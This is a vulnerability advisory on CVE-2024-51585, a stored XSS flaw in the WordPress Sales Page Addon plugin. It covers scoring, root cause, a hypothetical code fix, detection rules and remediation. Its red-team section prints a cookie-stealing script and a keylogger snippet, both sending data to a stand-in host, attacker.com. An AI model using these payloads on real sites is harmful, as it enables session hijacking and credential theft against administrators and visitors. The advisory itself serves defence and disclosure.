CVE-2024-51585

Executive Summary

CVE-2024-51585 is a Stored Cross-Site Scripting (XSS) vulnerability in the Sales Page Addon plugin for the WordPress ecosystem, developed by Nicheaddons. This plugin extends the functionality of the Elementor and Beaver Builder page builders. The vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages or posts. When a victim (e.g., an administrator or visitor) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 1.4.5. No official patch has been released at the time of analysis.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the risk extends to any WordPress site using the plugin. Administrators should verify the plugin’s source and integrity before installation. Since no patch is available, the only supply chain mitigation is to remove or disable the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the prevalence of WordPress and the ease of exploitation make this a significant risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input within the plugin’s shortcode or widget rendering. The plugin likely accepts user input (e.g., via a text field, URL parameter, or custom CSS/JS field) and outputs it directly into the HTML page without proper sanitization or encoding. Because the input is stored in the database (e.g., as post meta or widget settings), the XSS is persistent (Stored XSS).

Attack Flow:

1. An attacker with contributor-level privileges creates or edits a page/post using the Sales Page Addon.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized input field.
3. The plugin stores the payload in the WordPress database.
4. When an administrator or visitor views the page, the payload is rendered in the browser, executing the attacker’s script.

Root Cause: The plugin fails to use WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) or output encoding before rendering user-controlled data.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (Example):

// In a shortcode handler or widget render function
echo $user_input; // Direct output without sanitization

Patched Code (Hypothetical):

// Use WordPress escaping functions
echo esc_html( $user_input ); // For plain text
// OR
echo wp_kses_post( $user_input ); // For allowed HTML

The patched version would sanitize the input using esc_html() or wp_kses_post() to strip or encode malicious scripts.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the Sales Page Addon plugin (version <= 1.4.5) installed and activated.
• A user account with at least Contributor role.

Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Create a new page or edit an existing one.
3. Insert the Sales Page Addon element (e.g., a text block or custom field).
4. In the input field, inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save/publish the page.
6. Send the page link to an administrator or wait for a visitor to load the page.
7. The script executes, exfiltrating cookies or performing other actions.

Alternative Payload (Keylogger):

document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
});

Blue Team (Defensive)

Detection:

• Monitor for unusual page/post content containing <script> tags or event handlers (e.g., onload, onerror).
• Use a Web Application Firewall (WAF) with rules to block common XSS patterns.
• Review WordPress user activity logs for suspicious edits by low-privilege users.

Prevention:

• Disable or remove the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce the principle of least privilege: do not grant Contributor roles to untrusted users.

Indicators of Compromise (IOCs)

• File-Based IOCs:

  • Modified WordPress posts/pages containing <script> tags or event handlers.
  • Suspicious entries in the wp_posts table with post_content containing XSS payloads.

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
  • Unusual Referer headers pointing to pages using the Sales Page Addon.

• Log IOCs:

  • WordPress debug logs showing PHP warnings related to unsanitized output.
  • Web server access logs with requests to pages containing the vulnerable shortcode.

Detection Engineering

YARA Rule

rule CVE_2024_51585_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Sales Page Addon"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51585"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Sales Page Addon
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects potential stored XSS in WordPress posts/pages using Sales Page Addon
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51585 Stored XSS Payload Detected"; flow:to_server; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Sales Page Addon plugin from all WordPress installations.
2. Audit existing content – Scan all posts/pages for injected scripts using the YARA rule above.
3. Change credentials – If any administrator viewed a compromised page, rotate all admin passwords and session tokens.

Long-Term Fixes:

• Vendor Patch – Await an official update from Nicheaddons. Monitor the WordPress plugin repository for version 1.4.6 or higher.
• Custom Patching – If you have developer resources, apply input sanitization using esc_html() or wp_kses_post() in the plugin’s source code.
• Web Application Firewall (WAF) – Deploy a WAF (e.g., Cloudflare, ModSecurity) with rules to block XSS payloads.

Workarounds:

• Use a security plugin (e.g., Wordfence) to block malicious input.
• Restrict user roles: do not grant Contributor or Author access to untrusted users.

Valters IT